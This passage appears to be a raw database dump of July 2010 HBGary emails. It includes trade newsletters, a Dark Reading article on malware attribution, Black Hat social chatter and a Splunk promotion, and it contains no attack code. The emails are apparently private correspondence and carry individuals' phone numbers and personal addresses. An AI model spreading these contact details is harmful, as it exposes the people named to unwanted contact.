Technology\r\nCGI Federal\'s Shaara Roman on the Rise of\r\n Social\r\n Media\r\nFederal CIO Kundra Says IT Reform Review to\r\n Focus on Upping\r\n ROI\r\nManTech\'s Bill Varner Discusses Priorities,\r\n Goals and Direction of Cyber\r\n MarketClick Here for More from GovCon\r\n Executive\r\n Napolitano Announces Progress in 9/11\r\n Commission Security RecommendationsHHS Awards $9M to Support\r\n Preventive-Medicine ProfessionalsGen. Stanley\r\n McChrystal RetiresNIST, DARPA Develop Cutting-Edge Translation\r\n TechnologyMaryland Taking Steps to Become Health IT\r\n Leader by 2012Click Here for More from\r\n ExecutiveGov&nbsp;&nbsp;HR SECRETS REVEALED:\r\n Eight HR Government Contracting leaders share\r\n recruiting, retention best\r\n practicesSocial media for recruitment: Vangent\'s\r\n Jerry Calhoun finds success beyond traditional HR\r\n approachesA company\'s greatest asset is its people. That\'s something that Jerry\r\n Calhoun keeps front and center in his role as Senior Vice President of Human\r\n Resources for Vangent.Ever since Calhoun joined the Arlington, Va.-based\r\n provider of information management and strategic business outsourcing services in\r\n March 2006, he\'s focused on ensuring that everyone, from the top on down, views\r\n themselves as a strategic game changer within the company. Click here to read\r\n more&nbsp;Show good faith, and your employees will,\r\n too: Rich Lakis on L-3 Services Group HR approachEveryone\'s fishing from the same pool of talent.For\r\n defense contractors, it\'s the top issue of the day. For Rich Lakis, it\'s one\r\n that\'s being met head-on.As Senior Vice President of Human Resources for\r\n L-3 Services Group (a division of L-3 Communications, the sixth largest US defense\r\n contractor), Lakis holds to one overarching philosophy: Show good faith, and your\r\n employees will do the same. Click here to read\r\n more&nbsp;Early and often: For Alion\'s Kathy Madaleno,\r\n successful recruitment and career development starts\r\n hereCareer development and challenging work. Both matter now more than\r\n ever for government contractors looking to sustain their employee\r\n numbers.That\'s how Kathy Madaleno sees it in her role as Senior Vice\r\n President and Director of Human Resources at Alion Science and\r\n Technology. Click here to read moreNo excuses: John Heim on CSC\'s bold vision\r\n for college recruitingFor federal contractors, it\'s a delicate balance:\r\n Bringing in the next generation of talent, while still complying with federal\r\n contracting requirements that specify a minimum number of years\' experience to\r\n perform on a contract. Click here to read moreCharlie Virtue of Agilex: HR secrets to\r\n become \"hottest government contractor\" Before its meteoric rise as the hottest government contractor in\r\n the Washington, DC area, Agilex Technologies was just a dream. And a building, an\r\n empty one at that.Charlie Virtue recalls that day, three years\r\n ago.Click here to read\r\n moreCandice Mendenhall of ICF: Employee\r\n retention through meaningful work&nbsp; Don\'t let the numbers\r\n fool you. Despite a stubbornly high unemployment rate, companies still face plenty\r\n of challenges in employee retention, especially around the Beltway. Attractive\r\n benefits packages aren\'t enough. Increasingly, so is meaningful\r\n work.\r\n Click here to read\r\n moreSRA\'s Mary Good: Three steps to solid\r\n employee engagement A lot of companies have a great\r\n corporate mission. On paper, anyway. The challenge comes in translating that\r\n mission into practice. Especially when you have employees based around the world,\r\n working in a wide array of specialized fields. Click here to read\r\n moreJim Lawler of TASC: Faster, nimbler, more\r\n entrepreneurial culture ahead&nbsp;When it comes\r\n to entrepreneurial spirit, most people think small companies have a monopoly on\r\n that beat, large organizations less so.It\'s a perception that Jim Lawler\r\n is helping to change. As Chief Human Resource Officer of TASC, Inc., Lawler is\r\n helping steer the Chantilly, Va.-based advanced engineering and advisory services\r\n firm toward new growth.Click here to\r\n read\r\n moreSHARE THIS\r\n EMAIL:FacebookTwitterLinkedInDiggMySpaceAEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From\r\n mapping and CAD, to imagery and globes, all can be purchased at a press of a\r\n button for all your government projects. The portal features special\r\n pricing around Autodesk\'s Master Government Reseller software solutions including\r\n AutoCAD, Map 3D, Civil 3D plus many more. Google Earth and GeoEye Imagery\r\n solutions are available too.Prefer to speak to a representative\r\n directly? DLT has a team of experienced representatives to help. With over 19\r\n years of working closely with federal, state and local governments, we can help\r\n you make the best purchasing decisions.&nbsp;For Autodesk products,\r\n call 888.447.2223 or send a message to ag@dlt.com&nbsp;For Geospatial\r\n products, call 877.385.3581 or send a message to gds@dlt.com.\r\n Executive\r\n Spotlight: Shaara Roman of CGI\r\n FederalShaara\r\n Roman leads CGI Federal\'s Human Resources department and sat down with\r\n ExecutiveBiz to talk about a host of areas including social media, executive\r\n recruiters and how CGI Federal finds the top talent. Click here to\r\n read moreExecutive\r\n Spotlight: Gary Noyes of AT&T Government Solutions\r\n Gary Noyes oversees the\r\n financial performance of AT&T Government Solutions as Chief Financial\r\n Officer.&nbsp; He spoke with ExecutiveBiz on a variety of topics including MTIPS,\r\n his background and his take on the DCAA. Click here to\r\n read\r\n moreFormer Redskin\r\n John Riggins Speaks at Potomac Officers Club\r\n EventHall of Fame runningback and former\r\n Washington Redskin John Riggins spoke during the Potomac Officers Club event\r\n yesterday in Tysons Corner, Virginia. Click here to\r\n read\r\n moreMichael V. Hayden Joins Alion\'s Board of\r\n DirectorsGen. Michael V. Hayden, USAF (Ret.) has been\r\n named to Alion Science and Technology\'s board of directors.\r\n Click here to\r\n read\r\n moreA\r\n Letter from the EditorThrough our weekly emagazine and daily blog,\r\nExecutiveBiz offers our readership an insider\'s view of news and trends\r\nshaping small, medium, and large companies within industries such as\r\ndefense, technology, and health care.&nbsp; In addition to our daily blog,\r\nwe\'ve launched four new media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\nEach\r\n week, we deliver in-depth profiles of industry leaders, candid\r\nQ&As, plus the latest news and trends, and value-add information to\r\nhelp you do your job better.&nbsp; You\'re a big part of the equation both\r\nonline and off &#8212; which is why we want to hear from you. Have a story\r\n\r\ntip? Or an idea for a speaking event? Feel free to contact me direct.\r\nYou can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp; ExecutiveBiz, 8230 Old Courthouse RoadVienna, VA\r\n 22181Update PreferencesList\r\n Unsubscribe\r\n',12694,'aaron_hbgary_com/12694.html'),(9284,'2010-07-29','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007148.M724261P14101Q4139.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Dark Reading: Malware Authors Leave Their Fingerprints On Their Work, 	Black Hat Researcher Says','Dark Reading, who first broke the news of your talk in June, attended your talk yesterday and wrote another story. K\r\n \r\n\r\nMalware Authors Leave Their Fingerprints On Their Work, Black Hat Researcher Says \r\nCareful study of malware can help experts recognize its source and protect against it\r\nBy Tim Wilson,  DarkReading July 29, 2010 URL:http://www.darkreading.com/story/showArticle.jhtml?articleID=226300242\r\n\r\nLAS VEGAS, NEVADA -- Black Hat USA 2010 -- At the rate that malware is proliferating, it sometimes seems impossible to tell one bit of malicious code from the next. But according to a security researcher here, malware authors leave &quot;fingerprints&quot; all over their work, which could aid security professionals in stopping them. \r\nAt a session on malware attribution, HB Gary researcher Greg Hoglund outlined a wide variety of methods that can be used to identify the source of malware, which can be extremely useful in determining how to defend against it. \r\n&quot;We&#39;re not talking about naming names here, or finding their Social Security number and missile coordinates,&quot; said Hoglund, whose company does detailed analysis of malware. &quot;What we&#39;re saying is that there is a human factor here that can help us understand what we&#39;re dealing with when we see new malware.&quot; \r\nMalware developers leave &quot;fingerprints&quot; on their programs in the form of the tools they use, their styles of code-writing, and even in the parameters they choose, Hoglund says. These clues can help security experts determine whether a new attack is based on an old one, or whether a development toolkit was used to create it. \r\nSuch information might not be enough for law enforcement to track the malware back to its author, but recognizing similarities in malware development patterns can be helpful in preparing effective defenses, Hoglund stated. \r\nAfter extensive malware analysis, HB Gary has identified some basic &quot;rules&quot; of malware authorship, Hoglund said. Rule No. 1 is that humans are lazy, and seldom rewrite source code if they can avoid it. \r\n&quot;There might be 50,000 variations out there, but the base code is still the same,&quot; he said. \r\nThe second rule is that most attackers are focused on making a rapid reaction to network-level filtering and other standard defenses, Hoglund said. &quot;They are not so focused on host-level stealth,&quot; which makes host-level analysis useful in following their tracks, he observed. \r\nThe third rule is that physical memory is king. &quot;Once executing in memory, code has to be revealed, and that&#39;s where you can see its true behavior,&quot; even though the malware author may have taken sophisticated steps to pack or otherwise obfuscate it, Hoglund said. \r\nMalware attribution is not particularly difficult if you know what to look for, Hoglund stated. &quot;If you can read a packet sniffer, you can attribute malware,&quot; he said. If more security professionals investigated the source of the malware they saw, it would be easier to develop defenses, he observed. \r\nHoglund took the audience through a broad range of methods for identifying a malware author&#39;s fingerprints, ranging from toolkits and development tools used to timestamps and source code analysis. \r\n&quot;So far, in malware analysis, the industry has focused mostly on the binary end of the spectrum,&quot; Hoglund said. &quot;We want to open people&#39;s minds up to the human side.&quot;   \r\n\r\n',5022,'aaron_hbgary_com/5022.html'),(9285,'2010-07-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007148.M985996P14101Q4140.eml','\"Aaron Barr\" <aaron@hbgary.com>','Please email me what Bejtlich wrote on Twitter','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI created a Twitter account and can&#8217;t find it.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6559,'aaron_hbgary_com/6559.html'),(9286,'2010-07-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007149.M224625P14101Q4141.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Please email me what Bejtlich wrote on Twitter','Do a search for hoglundSent from my iPhoneOn Jul 29, 2010, at 8:20 AM, \"Bob Slapnik\" &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nI created a Twitter account and can’t find it.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2541,'aaron_hbgary_com/2541.html'),(9287,'2010-07-29','brian_christos@yahoo.com','/aaron@hbgary.com/new/1297007149.M469405P14101Q4142.eml','\"Aaron barr\" <aaron@hbgary.com>','Re: hey where did you end up?','Aaron,\r\n\r\nHung out with Randy Vickers at pure and a number of friends.  It was a good scene.  \r\n\r\nYea stopped back down at your party but it was all closed down.   It must not of lasted long.  \r\n\r\nWent to the Qualsys party.  It was ok but got to know some more good FBI folks.  I played an hour of hold\'em and broke even.  \r\n\r\nIt was fun hanging out and interesting how both have twins.   I\'ll look for you at your booth.  \r\n\r\nBrian. \r\n------Original Message------\r\nFrom: Aaron barr\r\nTo: brian_christos@yahoo.com\r\nSubject: Re: hey where did you end up?\r\nSent: Jul 29, 2010 10:47 AM\r\n\r\nHey Brian,\r\n\r\nWe got snagged to go to the r7 party over at the palm which was lame so we turned around and came back and went to bed.  How was the Netwitness party?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 29, 2010, at 12:30 AM, \"brian_christos@yahoo.com\"  wrote:\r\n\r\n> \r\n> Sent from my Verizon Wireless BlackBerry\r\n> \r\n\r\n\r\nSent from my Verizon Wireless BlackBerry\r\n\r\n',16136,'aaron_hbgary_com/16136.html'),(9288,'2010-07-29','brian_christos@yahoo.com','/aaron@hbgary.com/new/1297007149.M685869P14101Q4143.eml','aaron@hbgary.com','Fw: Dinner Last Night','Typo\'ed your email. \r\nSent from my Verizon Wireless BlackBerry\r\n\r\n-----Original Message-----\r\nFrom: brian_christos@yahoo.com\r\nDate: Thu, 29 Jul 2010 15:39:25 \r\nTo: ; ; \r\nReply-To: brian_christos@yahoo.com\r\nSubject: Dinner Last Night\r\n\r\nGreg, Penny, Aaron,\r\n\r\nI really enjoyed dinner and appreciated the technical talk, interesting nappa valley and overall discussion of our children. It was great hanging out with you after dinner.  I\'m looking forward to working together on the pilot and in other endeavors as well.   \r\n\r\nBrian \r\nSent from my Verizon Wireless BlackBerry\r\n\r\n',15939,'aaron_hbgary_com/15939.html'),(9289,'2010-07-29','aaron@hbgary.com','/aaron@hbgary.com/new/1297007149.M928656P14101Q4144.eml','','','Yworks\r\nMaltego\r\n\r\n\r\nSent from my iPad\r\n',16222,'aaron_hbgary_com/16222.html'),(9290,'2010-07-29','\"Steve Sommer\" <info@splunk.com>','/aaron@hbgary.com/new/1297007150.M184256P14101Q4145.eml','aaron@hbgary.com','SplunkVox: Hundreds of Splunk Customers, Partners and More!','\r\n\r\n \r\n    \r\n   Splunk \r\n    \r\n      body {\r\n      	background-color: #EEEEEE;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      p a {\r\n      	color: #2982A7;\r\n      	text-decoration: none;\r\n      }\r\n      td.permission {\r\n      	padding: 8px 0 8px 0;\r\n      }\r\n      td.date {\r\n      	padding: 0 0 4px 0;\r\n      }\r\n      td.permission p {\r\n      	font-family: Arial;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	font-style: italic;\r\n      	color: #151515;\r\n      	text-align: center;\r\n      }\r\n      td.permission a {\r\n      	color: #9f9862;\r\n      	text-decoration: none;\r\n      }\r\n    \r\n      table.bg {\r\n      	background-color: #ffffff;\r\n      }\r\n      table.intro td {\r\n      	height: 10px;\r\n      	border-bottom: 1px solid #eeeeee;\r\n      }\r\n      \r\n       table.header td {\r\n      	height: 10px;\r\n      	border-bottom: 1px solid #d5e0e1;\r\n      	border-top: 10px solid #111;\r\n      }\r\n      \r\n      table.header td p.big {\r\n      font-family:arial;\r\n      font-size:24px;\r\n      font-weight:normal;\r\n      font-style: normal;\r\n      padding:0 115px 0 15px;\r\n      margin-top: 0px;\r\n      }\r\n      \r\n      \r\n      \r\n      table.intro td p {\r\n      	font-family: Arial, Helvetica, sans-serif;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555555;\r\n      	padding:0 15px 0 15px;\r\n      }\r\n   \r\n      table.header td h1 {\r\n      	font-family: \'Futura\', Arial;\r\n      	font-size: 24px;\r\n      	font-weight: normal;\r\n      	color: #9f9862;\r\n      	display: inline;\r\n      	margin: 0 0 0 6px;\r\n      	padding: 0;\r\n      	text-transform: uppercase;\r\n      }\r\n      \r\n      table.header td h2 {\r\n		font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 28px;\r\n      	font-weight: normal;\r\n      	color: #111111;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0 0 0 15px;\r\n      	}\r\n      	 table.intro td h2 {\r\n		font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 28px;\r\n      	font-weight: normal;\r\n      	color: #111111;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0 0 0 15px;\r\n      	}\r\n      table.header td h3 {\r\n      	font-family: Arial, Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	font-style: italic;\r\n      	color: #ffffff;\r\n      	display: inline;\r\n      	margin: 0;\r\n      	padding: 0 0 6px 0;\r\n      }\r\n      td.sidebar {\r\n      	background-color: #fff;\r\n      	padding-top:10px;\r\n      }\r\n      td.sidebar h2 {\r\n      	font-family: Arial;\r\n      	font-size: 16px;\r\n      	font-weight: normal;\r\n      	color: #464646;\r\n      	margin: 0 0 10px 0;\r\n      	border-bottom: 1px solid #CCC;\r\n      	text-transform: uppercase;\r\n      }\r\n      td.sidebar ul {\r\n      	margin: 0 0 20px 24px;\r\n      	padding: 0;\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #313131;\r\n      }\r\n      td.sidebar ul a {\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #085982;\r\n      	text-decoration: none;\r\n      }\r\n      td.sidebar p {\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555;\r\n      	margin: 0 0 14px 0;\r\n      	padding: 0;\r\n      }\r\n      td.sidespace {\r\n         padding: 20px;\r\n      }\r\n      table.options {\r\n      	border-top: 1px solid #9f9862;\r\n      	border-bottom: 1px solid #9f9862;\r\n      }\r\n      table.options td {\r\n      	padding: 16px 22px 16px 22px;\r\n      }\r\n      td.border {\r\n      	border-bottom: 1px solid #9f9862;\r\n      }\r\n      table.options h3 {\r\n      	font-family: Arial;\r\n      	font-size: 16px;\r\n      	font-weight: normal;\r\n      	color: #9f9862;\r\n      	margin: 0 0 4px 0;\r\n      	padding: 0;\r\n      }\r\n      table.options p {\r\n      	font-family: Arial;\r\n      	font-size: 13px;\r\n      	font-weight: normal;\r\n      	color: #313131;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      table.options p a {\r\n      	color: #313131;\r\n      	text-decoration: none;\r\n      	border: none;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar {\r\n         padding: 20px;\r\n      }\r\n      td.mainbar h2 {\r\n      	font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 24px;\r\n      	font-weight: normal;\r\n      	color: #090909;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar h2 a {\r\n      	font-family: Arial;\r\n      	font-size: 20px;\r\n      	font-weight: bold;\r\n      	color: #9f9862;\r\n         text-decoration: none;\r\n      }\r\n      td.mainbar h3 {\r\n      	font-family: Verdana;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	color: #333333;\r\n      	text-transform: uppercase;\r\n      	margin: 0 0 8px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar p {\r\n      	font-family: Arial, Helvetica, sans-serif;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555555;\r\n      	margin: 0 0 16px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar p.top {\r\n      	font-family: Verdana;\r\n      	font-size: 10px;\r\n      	font-weight: normal;\r\n      	color: #44a0df;\r\n      	text-transform: uppercase;\r\n      	width: 100%;\r\n      	text-align: right;\r\n      	margin: 14px 0 4px 0;\r\n      	border-top: 1px solid #CCCCCC;\r\n      }\r\n      table.footer {\r\n      	font-family: Arial;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	color: #090909;\r\n      	text-align: center;\r\n      }\r\n      table.footer td {\r\n      	height: 88px;\r\n      }\r\n      table.footer span {\r\n      	color: #ffffff;\r\n      }\r\n      table.bgBottom {\r\n         padding: 10px;\r\n      	background-color: #EEE;\r\n      }\r\n    \r\n \r\n\r\n\r\n\r\n\r\nIf you&nbsp;have trouble viewing this email, read the online version. \r\n \r\n \r\n \r\n \r\n   \r\n     \r\n       \r\n         \r\n          \r\n          \r\n        \r\n      \r\n       \r\n         \r\n           \r\n      Join Hundreds of Splunk Customers and Partners at The First Splunk Worldwide Users&rsquo; Conference \r\n      July 29, 2010\r\n      		\r\n    \r\n   \r\n \r\n                  \r\n \r\n   \r\n     \r\n       \r\n         \r\n           \r\n            Dear Aaron,            \r\n            Our focus for 2010 continues to be nurturing the Splunk community. In a little less than two weeks we&rsquo;ll host our first Users&rsquo; Conference. We&rsquo;re excited to welcome more than 230 Splunk customers to the event&ndash;and flattered by the number of customers who volunteered to teach sessions. With 40 sessions on great topics ranging from Splunk for a SaaSy Enterprise presented by Salesforce.com to a Big Data Case Study, it&rsquo;s going to be hard to choose which sessions to attend! We hope you&rsquo;ll join us.\r\n            I&rsquo;m also pleased to welcome the 220 new customers we added to the Splunk family in Q2&ndash;we look forward to a great partnership! \r\n            Here are a few other highlights from last quarter as well as some upcoming events:\r\n            \r\n              The First Splunk Worldwide Users&rsquo; Conference is August 9-11, 2010\r\n              The App-of-the-Month Contest will reward you for your creativity and smarts\r\n              Just released, the Splunk for WebSphere App will help alleviate monitoring and management problems\r\n              Splunk for Cisco Security Solution, gives you a consolidated view of data generated by Cisco security products\r\n              Cool blog alert: Splunk, Developers, and SOA Apps - a great use case \r\n              Find a User Group&ndash;look for one in a city near you or let us know if you&rsquo;d like to host your own. (We can help!)\r\n              \r\n            \r\n            Read on to find out more about what&rsquo;s up at Splunk.\r\n            Happy Splunking!              \r\n            Steve SommerVP, MarketingSplunk \r\n\r\n              \r\n            \r\n            \r\n            \r\n            \r\n            The First Splunk Worldwide Users&rsquo; Conference\r\n            Been thinking about joining us for the Users&rsquo; Conference but haven&rsquo;t pulled the trigger yet? You&rsquo;ve still got time! Two weeks from now the greatest Splunkers on earth will delve into the topics that will help you boost your knowledge and mastery of Splunk. Learn best practices first hand from Splunk&rsquo;s top engineers and amazing customers including VMware, Travelers Insurance, Cisco and many more.  Check out the sessions.\r\n\r\nThere&rsquo;s also the Splunk Answers Lab&ndash;your chance to work through current support cases live, or ask for deployment, architecture or reporting and dashboard advice. Plus it&rsquo;s your chance to give direct product feedback, during Roadmap Feedback Sessions lead by our Product Management teams, or live User Experience testing&ndash;for 20 minutes of your time we&rsquo;ll give you a $20 gift card from Amazon. Sign up at gettingstarted@splunk.com.\r\nDon&rsquo;t miss it. There&rsquo;s only one chance to be at The First Splunk Worldwide Users&rsquo; Conference.   \r\n  Register now!\r\n            App-of-the-month Contest\r\n            It&rsquo;s time for the first ever Splunk app-of-the-month contest - everyone&rsquo;s a winner!  Create apps and add-ons and win prizes. The first contest runs from August 1 until August 31, so start your engines.  \r\n \r\n            Prizes for all entries, and $500 Amazon card for Best in Show. Learn more.\r\n\r\nSplunk for WebSphere\r\nSplunk is pleased to announce the general availability of its Splunk for WebSphere Application Server App. Thisfree app, first in a series of apps for solving application monitoring and management problems, provides  visibility into WebSphere logs, configurations, metrics and security messages. It provides a number of out-of-the box views into JMX metrics such as system metrics; thread pools, JVM memory usage, database connection status and more. It also tracks configuration changes, security events, and features troubleshooting dashboards.  Download the Splunk for WebSphere Application Servers app for free! If there are more charts/views you&rsquo;d like to see come built-in to the app, let us know by emailing: websphere-beta@splunk.com.\r\n            Need more help getting started with Splunk for Application Management? Good news. We&rsquo;re now offering services package that build on our experience with a variety of application management scenarios across a range of industries. We&rsquo;ll help you fully realize the power of Splunk, customized for your specific environment. More details on these packages can be found here.\r\n            Webcast: Splunk> A SIEM&rsquo;s Best Friend\r\n            Speakers: Dr. Terry Brugger, PhD, SOC Implementation Lead at a major U.S. government agency and employee of  Eyak Technology and Mark Seward, Director of Marketing for Security and Compliance Solutions, Splunk\r\n\r\nJoin this live webcast with Dr. Terry Brugger, SOC Implementation lead, as he details the unique challenges of architecting a solution for a highly heterogeneous and distributed environment&nbsp;&hellip; and the process they architected to ensure all security relevant data sources can be captured for both quick remediation and deep forensic investigation. Register now!\r\n  Date: Thursday, July 29, 2010  \r\n  Time: 11:00 AM Eastern / 8:00 AM Pacific  \r\n  Duration: 1 Hour\r\n            Other Community ResourcesAs a proxy for live User Groups, we&rsquo;re eager to help you connect or swap best practices via social networks. Links to Splunk across the social web are here: \r\n\r\n\r\n\r\nSplunk Blogs \r\nSplunkAnswers\r\nSplunkWiki\r\nSplunk Ninja \r\nSplunk TV  \r\nFacebook\r\n LinkedIn\r\n Twitter\r\n YouTube videos\r\n\r\nAnd don’t forget about the IRC channel. Launch your IRC client and join the channel. #splunk on efnet.\r\nDo you have a web site you would like to share with other Splunk users or developers? Send us the URL at community@splunk.com.\r\n \r\n          \r\n        Splunk for Cisco Security\r\n          Splunk for Cisco Security is a free App that enables advanced alerting and reporting tailor-made for your Cisco environment. You get pre-defined inputs, searches, reports and dashboards for Cisco Security Agent, Cisco ASA firewalls and Cisco IronPort Web and E-mail Security. Running a large scale Cisco infrastructure can be challenging. Splunk for Cisco provides the visibility you need, when you need it most.\r\n          Goooooaaaaalllllll!!!\r\n          With representatives from France, Spain, Albania, UK, Sweden, Germany and Holland, things got a little rowdy here at Splunk HQ (to say nothing of the vuvuzelas). To settle the trash talking, we built a Splunk app that tracked sentiment by charting the tweets by country for the World Cup. And if you&rsquo;ve built a similar add on or package, share it with other Splunkers on Splunkbase! \r\n          Splunk in the News\r\n          Splunk is always making a splash in the news: \r\n          \r\n            Splunk Product Review – infosec island\r\n            Splunk added 220 new licensed customers in Q2, read more\r\n            Splunk, social media and Interop, read more\r\n          \r\n      \r\n          \r\n                 \r\n          Life at Splunk\r\n          Watching the World Cup was only one of the activities we&rsquo;ve done as a group. Here at Splunk, we&rsquo;re a family. Check out this new Splunker\'s blog to learn about his first experiences. And if you think you&rsquo;d fit right in, check out our Careers page. We want you!\r\n          \r\n          User Groups\r\n          August features not one, but two Splunk User Group meetings in Southern California. The Splunk User Group of Los Angeles returns to the friendly offices of Edmunds.com. Also, the first ever San Diego User Group meeting will be graciously hosted by Qualcomm. \r\n          \r\n            Splunk User Group of San Diego RSVP now!\r\n            Splunk User Group of Los Angeles – RSVP now!\r\n          \r\n          Splunk Is  Global\r\n           Here&rsquo;s an excerpt of our upcoming events:\r\n          \r\n            F5 ASEAN, August 12, 2010 \r\n            VMWorld, August 30, 2010\r\n            JavaOne, September 19, 2010\r\n            VMWorld Europe, October 12, 2010\r\n            Check out our Events Page for all upcoming events\r\n          \r\n          Splunk Answers\r\n          Ever wanted to ask a How-to question about Splunk? Wait no more! Get thee to   Splunk Answers - a place where you can ask any question about Splunk, users can vote on the best answers, and you can search for previous questions and answers.  \r\n         \r\n        \r\n        \r\n        \r\n        \r\n     \r\n    \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTo unsubscribe from future emails or to update your e-mail preferences click here. To forward this email to a friend, click here. Splunk, Inc. | 250 Brannan St. | San Francisco, CA 94107\r\n\r\n\r\n',2394,'aaron_hbgary_com/2394.html'),(9291,'2010-07-29','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007150.M411179P14101Q4146.eml','brian_christos@yahoo.com','Re: hey where did you end up?','Cool.  Sorry we didn\'t link back up.  In hindsight we should have come upstairs.  It was good to see you again and likewise enjoyed the conversation.  Hopefully see you later today.\r\n\r\nAaron \r\n\r\nSent from my iPad\r\n\r\nOn Jul 29, 2010, at 8:30 AM, \"brian_christos@yahoo.com\"  wrote:\r\n\r\n> Aaron,\r\n> \r\n> Hung out with Randy Vickers at pure and a number of friends.  It was a good scene.  \r\n> \r\n> Yea stopped back down at your party but it was all closed down.   It must not of lasted long.  \r\n> \r\n> Went to the Qualsys party.  It was ok but got to know some more good FBI folks.  I played an hour of hold\'em and broke even.  \r\n> \r\n> It was fun hanging out and interesting how both have twins.   I\'ll look for you at your booth.  \r\n> \r\n> Brian. \r\n> ------Original Message------\r\n> From: Aaron barr\r\n> To: brian_christos@yahoo.com\r\n> Subject: Re: hey where did you end up?\r\n> Sent: Jul 29, 2010 10:47 AM\r\n> \r\n> Hey Brian,\r\n> \r\n> We got snagged to go to the r7 party over at the palm which was lame so we turned around and came back and went to bed.  How was the Netwitness party?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 29, 2010, at 12:30 AM, \"brian_christos@yahoo.com\"  wrote:\r\n> \r\n>> \r\n>> Sent from my Verizon Wireless BlackBerry\r\n>> \r\n> \r\n> \r\n> Sent from my Verizon Wireless BlackBerry\r\n> \r\n',6152,'aaron_hbgary_com/6152.html'),(9292,'2010-07-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007150.M621112P14101Q4147.eml','\"John Scott\" <johnmscott@mindspring.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"John Scott\" <johnmscott@mindspring.com>','RE: Free Tools | HBGary','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJohn,\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve copied Aaron Barr, CEO of HBGary Federal.&nbsp; He may wish to\r\nspeak.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: John Scott\r\n[mailto:johnmscott@mindspring.com] \r\nSent: Thursday, July 29, 2010 1:28 PM\r\nTo: bob@hbgary.com\r\nCc: Josh Davis\r\nSubject: Free Tools | HBGary\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nhttps://www.hbgary.com/community/free-tools/\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Bob,&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI saw this article, we 